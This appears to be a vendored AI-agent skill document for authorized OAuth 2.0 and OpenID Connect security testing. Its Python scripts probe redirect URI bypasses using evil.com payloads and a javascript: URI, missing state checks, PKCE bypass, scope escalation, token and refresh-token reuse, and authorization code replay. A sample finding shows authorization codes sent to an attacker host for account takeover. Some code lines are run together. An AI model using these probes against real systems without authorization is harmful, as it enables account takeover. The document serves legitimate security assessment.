Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the authorization server, client application, and token handling for common misconfigurations that enable account takeover or unauthorized access. Activates for requests involving OAuth security testing, OIDC vulnerability assessment, OAuth2 redirect bypass, or authorization code flow testing.
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name
testing-oauth2-implementation-flaws
description
Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the authorization server, client application, and token handling for common misconfigurations that enable account takeover or unauthorized access. Activates for requests involving OAuth security testing, OIDC vulnerability assessment, OAuth2 redirect bypass, or authorization code flow testing.
Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics/threat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.
Testing OAuth2 Implementation Flaws
When to Use
Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
Evaluating token storage, transmission, and lifecycle management in OAuth implementations
Testing scope escalation where clients request more permissions than authorized
Assessing OpenID Connect implementations for ID token validation and nonce usage
Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.
Prerequisites
Written authorization specifying the OAuth provider and client applications in scope
Test OAuth client registered with the authorization server
Burp Suite Professional for intercepting OAuth redirects and token flows
Python 3.10+ with requests and oauthlib libraries
Browser developer tools for observing OAuth redirect chains
Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)
# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
# Open redirect variations
REDIRECT_URI, # Legitimate"https://evil.com", # Different domain"https://app.example.com.evil.com/callback", # Subdomain of attacker"https://app.example.com@evil.com/callback", # URL authority confusionf"{REDIRECT_URI}/../../../evil.com", # Path traversalf"{REDIRECT_URI}?next=https://evil.com", # Parameter injectionf"{REDIRECT_URI}#https://evil.com", # Fragment injectionf"{REDIRECT_URI}%23evil.com", # Encoded fragment"https://app.example.com/callback/../../evil", # Relative path"https://APP.EXAMPLE.COM/callback", # Case variation"https://app.example.com/Callback", # Path case variation"https://app.example.com/callback/", # Trailing slash"https://app.example.com/callback?", # Trailing question mark"http://app.example.com/callback", # HTTP downgrade"https://app.example.com:443/callback", # Explicit port"https://app.example.com:8443/callback", # Different portf"{REDIRECT_URI}/.evil.com", # Dot segment"https://app.example.com/callbackevil", # Path prefix match"javascript://app.example.com/callback%0aalert(1)", # JavaScript protocol
]
print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": redirect,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if"code="in location or redirect in location:
status = "ACCEPTED"if redirect != REDIRECT_URI:
print(f" [VULNERABLE] {redirect[:70]} -> Redirect accepted")
else:
status = "REDIRECTED"elif resp.status_code == 400:
status = "REJECTED"else:
status = f"HTTP {resp.status_code}"if redirect == REDIRECT_URI:
print(f" [BASELINE] {redirect[:70]} -> {status}")
Step 3: State Parameter (CSRF) Testing
# Test 1: Missing state parameter
params_no_state = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302and"code="in resp.headers.get("Location", ""):
print("[CSRF] Authorization code issued without state parameter")
# Test 2: State parameter reuse
state_value = "fixed_state_value_123"# Use same state for multiple authorization requestsfor i inrange(3):
params = {**params_no_state, "state": state_value}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
returned_state = urllib.parse.parse_qs(
urllib.parse.urlparse(location).query).get("state", [None])[0]
if returned_state == state_value:
print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")
# Test 3: Token exchange without state validation (client-side check)# Intercept the callback and try exchanging the code without stateprint("\nNote: State validation is a client-side check. Verify the callback handler validates state.")
Step 4: PKCE Bypass Testing
# Test if PKCE (Proof Key for Code Exchange) is enforced# Generate PKCE values
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')
# Test 1: Authorization request without PKCE
params_no_pkce = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302and"code="in resp.headers.get("Location", ""):
print("[PKCE] Authorization code issued without PKCE challenge")
# Test 2: Token exchange without code_verifier
auth_code = "captured_auth_code"# From intercept
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
# No code_verifier
})
if token_resp.status_code == 200:
print("[PKCE] Token issued without code_verifier - PKCE not enforced")
# Test 3: Token exchange with wrong code_verifier
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")
# Test 4: Downgrade from S256 to plain
params_plain_pkce = {
**params_no_pkce,
"code_challenge": code_verifier, # Plain = verifier itself"code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
print("[PKCE] Plain challenge method accepted - vulnerable to interception")
Step 5: Scope Escalation and Token Testing
# Test 1: Request additional scopes beyond what's registered
elevated_scopes = [
"openid profile email admin",
"openid profile email write:users",
"openid profile email delete:*",
"openid profile email admin:full",
"*",
]
for scope in elevated_scopes:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": scope,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if"code="in location:
print(f"[SCOPE] Elevated scope accepted: {scope}")
# Test 2: Token reuse across clients# Use a token from client A on client B's API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
print("[TOKEN] Token from client A accepted by different service (audience not validated)")
# Test 3: Refresh token theft and reuse
refresh_token = "captured_refresh_token"# Try using refresh token with different client_id
token_resp = requests.post(token_endpoint, data={
"grant_type": "refresh_token",
"refresh_token": refresh_token,
"client_id": "different-client-id",
})
if token_resp.status_code == 200:
print("[TOKEN] Refresh token accepted for different client - not bound to client")
Step 6: Implicit Flow and Token Leakage Testing
# Test if implicit flow is enabled (should be disabled per OAuth 2.1)
implicit_params = {
"response_type": "token",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if"access_token="in location:
print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")
# Test token leakage via Referer header# Check if tokens appear in URLs that could leak via Refererprint("\nToken Leakage Checks:")
print(" - Check if access tokens appear in URL query parameters")
print(" - Check if tokens are logged in server access logs")
print(" - Check if callback URL with code is cached by the browser")
print(" - Check if the authorization code is single-use (replay test)")
# Authorization code replay test
auth_code_to_replay = "captured_auth_code"for attempt inrange(3):
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code_to_replay,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"client_secret": "client_secret_value",
})
print(f" Code replay attempt {attempt+1}: {token_resp.status_code}")
if attempt > 0and token_resp.status_code == 200:
print(" [VULNERABLE] Authorization code is not single-use")
Key Concepts
Term
Definition
Authorization Code Flow
OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint
PKCE
Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception
Redirect URI Validation
Authorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect
State Parameter
Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow
Scope Escalation
Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access
Implicit Flow
Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks
Tools & Systems
Burp Suite Professional: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges
EsPReSSO (Burp Extension): Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities
oauth2-security-tester: Dedicated tool for testing OAuth 2.0 flows against common attack patterns
OWASP ZAP: Passive scanner that detects OAuth misconfigurations in intercepted traffic
jwt.io: Online JWT decoder for analyzing OAuth access tokens and ID tokens
Common Scenarios
Scenario: Social Login OAuth Implementation Assessment
Context: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.
Approach:
Analyze the OAuth configuration at /.well-known/openid-configuration for both providers
Test redirect URI validation: discover that the application registers https://app.example.com/callback but the server accepts https://app.example.com/callback/..%2fevil
Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)
Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile
Test implicit flow: still enabled despite not being used by the application
Test scope: application requests openid profile email but the authorization server also grants read:repos without explicit consent
Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement
Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)
Pitfalls:
Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters
Not testing both the authorization request and the token exchange independently
Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri
Not testing the state parameter validation on the client side (server may include it but client may not check it)
Assuming PKCE is enforced because the authorization server supports it (client must also send it)
Output Format
## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft
**ID**: API-OAUTH-001
**Severity**: Critical (CVSS 9.3)
**Affected Component**: OAuth 2.0 Authorization Code Flow
**Authorization Server**: auth.example.com
**Description**:
The authorization server's redirect_uri validation uses prefix matching
instead of exact string matching. An attacker can manipulate the redirect_uri
to redirect the authorization code to an attacker-controlled endpoint,
enabling account takeover. Additionally, PKCE is not enforced and the
state parameter is not validated by the client application.
**Proof of Concept**:
1. Craft authorization URL with manipulated redirect_uri:
https://auth.example.com/authorize?response_type=code&client_id=app
&redirect_uri=https://app.example.com/callback/../../../evil.com
&scope=openid+profile+email&state=abc123
2. User authenticates and approves consent
3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
4. Attacker exchanges code at token endpoint (no PKCE required)
5. Attacker receives access token and ID token for victim's account
**Impact**:
Complete account takeover for any user who clicks a crafted OAuth login link.
The attacker gains full access to the user's profile, email, and any
resources the OAuth scope grants access to.
**Remediation**:
1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
2. Enforce PKCE (S256 method) for all authorization code flow requests
3. Validate the state parameter in the callback handler before exchanging the code
4. Disable the implicit flow on the authorization server
5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
6. Validate the audience (aud) claim in tokens before accepting them
